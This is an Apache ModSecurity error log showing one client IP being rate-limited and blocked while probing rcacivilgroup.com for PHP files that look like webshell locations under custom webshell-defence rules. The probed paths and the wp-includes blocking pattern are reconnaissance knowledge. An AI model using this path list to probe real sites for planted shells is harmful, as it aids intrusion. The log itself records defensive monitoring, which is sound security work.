[Mon Mar 30 23:36:11.021475 2026] [:error] [pid 60835:tid 60841] [client 72.146.16.175:60774] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/index.php"] [unique_id "acqYawIOJ4Lc0iJVRzwDTwAAAAQ"]
[Mon Mar 30 23:36:11.515033 2026] [:error] [pid 60835:tid 60861] [client 72.146.16.175:62286] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/index.php"] [unique_id "acqYawIOJ4Lc0iJVRzwDUQAAABg"]
[Mon Mar 30 23:36:11.984958 2026] [:error] [pid 60835:tid 60840] [client 72.146.16.175:63793] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/index.php"] [unique_id "acqYawIOJ4Lc0iJVRzwDVQAAAAM"]
[Mon Mar 30 23:36:12.463585 2026] [:error] [pid 60835:tid 60851] [client 72.146.16.175:61550] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/index.php"] [unique_id "acqYbAIOJ4Lc0iJVRzwDWgAAAA4"]
[Mon Mar 30 23:36:12.945763 2026] [:error] [pid 60835:tid 60857] [client 72.146.16.175:63826] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "acqYbAIOJ4Lc0iJVRzwDXQAAABQ"]
[Mon Mar 30 23:36:13.420457 2026] [:error] [pid 60747:tid 60815] [client 72.146.16.175:59435] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "acqYbQU3IY-cCpy_-zFPlwAAAMw"]
[Mon Mar 30 23:36:13.911326 2026] [:error] [pid 60746:tid 60776] [client 72.146.16.175:62277] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "acqYbZ4kQrgjDdAbQCoyAAAAAIA"]
[Mon Mar 30 23:36:14.381166 2026] [:error] [pid 60746:tid 60793] [client 72.146.16.175:63834] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "acqYbp4kQrgjDdAbQCoyAgAAAJE"]
[Mon Mar 30 23:36:14.850051 2026] [:error] [pid 60747:tid 60805] [client 72.146.16.175:60763] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "acqYbgU3IY-cCpy_-zFPnwAAAMI"]
[Mon Mar 30 23:36:15.319867 2026] [:error] [pid 60745:tid 60772] [client 72.146.16.175:63819] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "acqYbyQDBn75QnHaPb9VswAAAFc"]
[Mon Mar 30 23:36:15.813753 2026] [:error] [pid 60747:tid 60813] [client 72.146.16.175:65491] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "acqYbwU3IY-cCpy_-zFPpwAAAMo"]
[Mon Mar 30 23:36:16.288653 2026] [:error] [pid 60835:tid 60842] [client 72.146.16.175:61542] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "acqYcAIOJ4Lc0iJVRzwDZwAAAAU"]
[Mon Mar 30 23:36:16.769748 2026] [:error] [pid 60746:tid 60794] [client 72.146.16.175:63799] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "acqYcJ4kQrgjDdAbQCoyBQAAAJI"]
[Mon Mar 30 23:36:17.242386 2026] [:error] [pid 60747:tid 60814] [client 72.146.16.175:61538] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "acqYcQU3IY-cCpy_-zFPrQAAAMs"]
[Mon Mar 30 23:36:17.725180 2026] [:error] [pid 63557:tid 63564] [client 72.146.16.175:62321] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "acqYca4QNVlzYgEvIjnJpAAAAQU"]
[Mon Mar 30 23:36:18.198834 2026] [:error] [pid 60835:tid 60840] [client 72.146.16.175:65412] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "acqYcgIOJ4Lc0iJVRzwDawAAAAM"]
[Mon Mar 30 23:36:18.680161 2026] [:error] [pid 63557:tid 63579] [client 72.146.16.175:61520] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "acqYcq4QNVlzYgEvIjnJqAAAARQ"]
[Mon Mar 30 23:36:19.159741 2026] [:error] [pid 63557:tid 63572] [client 72.146.16.175:62214] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "acqYc64QNVlzYgEvIjnJqQAAAQ0"]
[Mon Mar 30 23:36:19.653986 2026] [:error] [pid 60835:tid 60858] [client 72.146.16.175:62328] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "acqYcwIOJ4Lc0iJVRzwDbQAAABU"]
[Mon Mar 30 23:36:20.153671 2026] [:error] [pid 60835:tid 60859] [client 72.146.16.175:60709] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "acqYdAIOJ4Lc0iJVRzwDbgAAABY"]
[Mon Mar 30 23:36:20.632331 2026] [:error] [pid 60745:tid 60767] [client 72.146.16.175:62245] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/output.php"] [unique_id "acqYdCQDBn75QnHaPb9VtQAAAFI"]
[Mon Mar 30 23:36:21.110950 2026] [:error] [pid 60745:tid 60758] [client 72.146.16.175:60791] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/output.php"] [unique_id "acqYdSQDBn75QnHaPb9VtgAAAEk"]
[Mon Mar 30 23:36:21.599302 2026] [:error] [pid 60746:tid 60797] [client 72.146.16.175:62259] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/output.php"] [unique_id "acqYdZ4kQrgjDdAbQCoyDAAAAJU"]
[Mon Mar 30 23:36:22.108589 2026] [:error] [pid 60746:tid 60793] [client 72.146.16.175:63840] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/output.php"] [unique_id "acqYdp4kQrgjDdAbQCoyDwAAAJE"]
[Mon Mar 30 23:36:22.616605 2026] [:error] [pid 60746:tid 60782] [client 72.146.16.175:65470] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/output.php"] [unique_id "acqYdp4kQrgjDdAbQCoyEQAAAIY"]
[Mon Mar 30 23:36:23.135584 2026] [:error] [pid 63557:tid 63570] [client 72.146.16.175:61508] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/output.php"] [unique_id "acqYd64QNVlzYgEvIjnJrgAAAQs"]
[Mon Mar 30 23:36:23.627035 2026] [:error] [pid 60746:tid 60794] [client 72.146.16.175:65434] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/output.php"] [unique_id "acqYd54kQrgjDdAbQCoyEwAAAJI"]
[Mon Mar 30 23:36:24.137667 2026] [:error] [pid 63557:tid 63573] [client 72.146.16.175:62330] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/output.php"] [unique_id "acqYeK4QNVlzYgEvIjnJtAAAAQ4"]
[Mon Mar 30 23:36:24.624437 2026] [:error] [pid 63557:tid 63574] [client 72.146.16.175:62323] [client 72.146.16.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/index.php"] [unique_id "acqYeK4QNVlzYgEvIjnJtgAAAQ8"]
[Mon Mar 30 23:36:25.128549 2026] [:error] [pid 60746:tid 60791] [client 72.146.16.175:62223] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "acqYeZ4kQrgjDdAbQCoyFAAAAI8"]
[Mon Mar 30 23:36:25.608457 2026] [:error] [pid 60746:tid 60785] [client 72.146.16.175:62248] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "acqYeZ4kQrgjDdAbQCoyFQAAAIk"]
[Mon Mar 30 23:36:26.107109 2026] [:error] [pid 60835:tid 60843] [client 72.146.16.175:63835] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "acqYegIOJ4Lc0iJVRzwDdAAAAAY"]
[Mon Mar 30 23:36:26.582121 2026] [:error] [pid 60835:tid 60844] [client 72.146.16.175:65517] [client 72.146.16.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "acqYegIOJ4Lc0iJVRzwDdQAAAAc"]
[Mon Mar 30 23:36:27.062312 2026] [:error] [pid 60835:tid 60860] [client 72.146.16.175:62290] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/about.php"] [unique_id "acqYewIOJ4Lc0iJVRzwDdgAAABc"]
[Mon Mar 30 23:36:27.570555 2026] [:error] [pid 60747:tid 60813] [client 72.146.16.175:63755] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/about.php"] [unique_id "acqYewU3IY-cCpy_-zFPtgAAAMo"]
[Mon Mar 30 23:36:28.068727 2026] [:error] [pid 63557:tid 63560] [client 72.146.16.175:60169] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/about.php"] [unique_id "acqYfK4QNVlzYgEvIjnJuQAAAQE"]
[Mon Mar 30 23:36:28.571999 2026] [:error] [pid 60835:tid 60854] [client 72.146.16.175:63794] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/about.php"] [unique_id "acqYfAIOJ4Lc0iJVRzwDeQAAABE"]
[Mon Mar 30 23:36:30.749092 2026] [:error] [pid 60746:tid 60782] [client 72.146.16.175:62259] [client 72.146.16.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/about.php"] [unique_id "acqYfp4kQrgjDdAbQCoyHwAAAIY"]
[Mon Mar 30 23:36:33.984929 2026] [:error] [pid 60745:tid 60772] [client 72.146.16.175:65424] [client 72.146.16.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/Text/admin.php"] [unique_id "acqYgSQDBn75QnHaPb9VwQAAAFc"]
[Mon Mar 30 23:36:43.827936 2026] [:error] [pid 63557:tid 63576] [client 72.146.16.175:63864] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/thoms.php"] [unique_id "acqYi64QNVlzYgEvIjnJ7QAAARE"]
[Mon Mar 30 23:36:44.297282 2026] [:error] [pid 60746:tid 60782] [client 72.146.16.175:63781] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/thoms.php"] [unique_id "acqYjJ4kQrgjDdAbQCoyJQAAAIY"]
[Mon Mar 30 23:36:44.766290 2026] [:error] [pid 63557:tid 63569] [client 72.146.16.175:62256] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/thoms.php"] [unique_id "acqYjK4QNVlzYgEvIjnJ8QAAAQo"]
[Mon Mar 30 23:36:45.242610 2026] [:error] [pid 63557:tid 63575] [client 72.146.16.175:63816] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/thoms.php"] [unique_id "acqYja4QNVlzYgEvIjnJ9AAAARA"]
[Mon Mar 30 23:36:45.722116 2026] [:error] [pid 60835:tid 60851] [client 72.146.16.175:61555] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/O00.php"] [unique_id "acqYjQIOJ4Lc0iJVRzwDlQAAAA4"]
[Mon Mar 30 23:36:46.186720 2026] [:error] [pid 60835:tid 60857] [client 72.146.16.175:65413] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/O00.php"] [unique_id "acqYjgIOJ4Lc0iJVRzwDlgAAABQ"]
[Mon Mar 30 23:36:46.693834 2026] [:error] [pid 63557:tid 63567] [client 72.146.16.175:63791] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/O00.php"] [unique_id "acqYjq4QNVlzYgEvIjnJ-gAAAQg"]
[Mon Mar 30 23:36:47.177327 2026] [:error] [pid 60746:tid 60798] [client 72.146.16.175:62233] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/O00.php"] [unique_id "acqYj54kQrgjDdAbQCoyKAAAAJY"]
[Mon Mar 30 23:36:47.674495 2026] [:error] [pid 60835:tid 60850] [client 72.146.16.175:61498] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-.php"] [unique_id "acqYjwIOJ4Lc0iJVRzwDlwAAAA0"]
[Mon Mar 30 23:36:48.165463 2026] [:error] [pid 63557:tid 63561] [client 72.146.16.175:59495] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-.php"] [unique_id "acqYkK4QNVlzYgEvIjnJ_wAAAQI"]
[Mon Mar 30 23:36:48.675053 2026] [:error] [pid 60746:tid 60783] [client 72.146.16.175:65475] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-.php"] [unique_id "acqYkJ4kQrgjDdAbQCoyKwAAAIc"]
[Mon Mar 30 23:36:49.144316 2026] [:error] [pid 63557:tid 63578] [client 72.146.16.175:59007] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-.php"] [unique_id "acqYka4QNVlzYgEvIjnKAQAAARM"]
[Mon Mar 30 23:36:49.650279 2026] [:error] [pid 60835:tid 60842] [client 72.146.16.175:60706] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/akcc.php"] [unique_id "acqYkQIOJ4Lc0iJVRzwDngAAAAU"]
[Mon Mar 30 23:36:50.130412 2026] [:error] [pid 60747:tid 60815] [client 72.146.16.175:59403] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/akcc.php"] [unique_id "acqYkgU3IY-cCpy_-zFPzAAAAMw"]
[Mon Mar 30 23:36:50.684865 2026] [:error] [pid 60747:tid 60820] [client 72.146.16.175:62217] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/akcc.php"] [unique_id "acqYkgU3IY-cCpy_-zFPzgAAANE"]
[Mon Mar 30 23:36:51.154792 2026] [:error] [pid 60835:tid 60849] [client 72.146.16.175:62276] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/akcc.php"] [unique_id "acqYkwIOJ4Lc0iJVRzwDpQAAAAw"]
[Mon Mar 30 23:36:51.634066 2026] [:error] [pid 63557:tid 63570] [client 72.146.16.175:62326] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ee.php"] [unique_id "acqYk64QNVlzYgEvIjnKCQAAAQs"]
